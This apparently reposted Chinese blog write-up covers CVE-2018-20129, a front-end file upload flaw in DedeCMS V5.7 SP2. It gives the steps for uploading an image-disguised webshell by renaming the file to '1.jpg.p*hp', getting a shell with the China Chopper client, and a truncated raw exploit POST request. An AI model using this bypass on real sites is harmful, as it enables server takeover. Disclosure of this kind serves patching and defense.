博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
CVE-2018-20129:DedeCMS V5.7 SP2前台文件上传漏洞
阅读量:5812 次
发布时间:2019-06-18

本文共 1570 字,大约阅读时间需要 5 分钟。

一、漏洞摘要

漏洞名称: DedeCMS V5.7 SP2前台文件上传漏洞

上报日期: 2018-12-11
漏洞发现者: 陈灿华
产品首页: 
软件链接: 
版本: DedeCMS V5.7 SP2正式版
CVE编号: 

 

二、漏洞概述

下载最新版本的dedecms源码,在本地安装完成后,打开会员登录功能,然后登录会员中心,来到如下界面,即访问链接:

 

二、漏洞概述

下载最新版本的dedecms源码,在本地安装完成后,打开会员登录功能,然后登录会员中心,来到如下界面,即访问链接:

4

在点击编辑器中的图片:

再点击上传按钮:

选择一张图片马文件,再点击上传到服务器上,抓包:将1.jpg改为1.jpg.p*hp即可绕过限制成功上传

上传成功后的文件名和文件位置如下:

使用菜刀访问,直接getshell

三、利用代码

exp代码如下:

POST /dedecms/uploads/include/dialog/select_images_post.php?CKEditor=body&CKEditorFuncNum=2&langCode=zh-cn HTTP/1.1Host: 192.168.174.129User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://192.168.174.129/dedecms/uploads/member/article_add.phpContent-Type: multipart/form-data; boundary=---------------------------69781754626668Content-Length: 11741Cookie: DedeUserID=1; DedeUserID__ckMd5=c7ed3d18d15d23d0; DedeLoginTime=1544372582; DedeLoginTime__ckMd5=35d444f1976a147b; PHPSESSID=c84e97f6e66b4fd99b30f1dad1e02854; last_vtime=1544372941; last_vtime__ckMd5=22714ecc90820efa; last_vid=admin; last_vid__ckMd5=5c4160178ad81aa0; ENV_GOBACK_URL=%2Fdedecms%2Fuploads%2Fmember%2Fcontent_list.php%3Fchannelid%3D1Connection: closeUpgrade-Insecure-Requests: 1-----------------------------69781754626668Content-Disposition: form-data; name="upload"; filename="1.jpg.p*hp"Content-Type: image/jpeg

 

四、参考信息

CVE中文申请网:

CVE官方:
exploit-db:发布中

转载于:https://www.cnblogs.com/hookjoy/p/10147862.html

你可能感兴趣的文章
窥探Swift编程之错误处理与异常抛出
查看>>
css样式优先级
查看>>
cocos2dx3.3开发FlappyBird总结十二:状态层设计
查看>>
android 自定义LabelView实现各类小标签,重要功能已标注
查看>>
网站前端优化一些小经验
查看>>
【SICP练习】140 练习3.71
查看>>
一分钟了解阿里云产品:阿里云RDS只读实例 分担数据库读写压力
查看>>
lseek, fallocate来快速创建一个空洞文件,lseek不占用空间,fallocate占用空间(快速预分配)。...
查看>>
Linux下获取程序信息的几种方法
查看>>
关于数组与指针
查看>>
使用cmd命令里的 tasklist 和 netstat 获取当前各进程的网络连接
查看>>
Flutter Widget大全
查看>>
再谈JavaScript作用域——你确定你真的知道?
查看>>
前端怎么做用户行为统计分析
查看>>
jenkins经验
查看>>
guava cache
查看>>
iOS架构设计解耦的尝试之模块间通信
查看>>
SASS入门与实践
查看>>
分享一个功能很全的视频播放器
查看>>
【译】TypeScript 的类型(一)
查看>>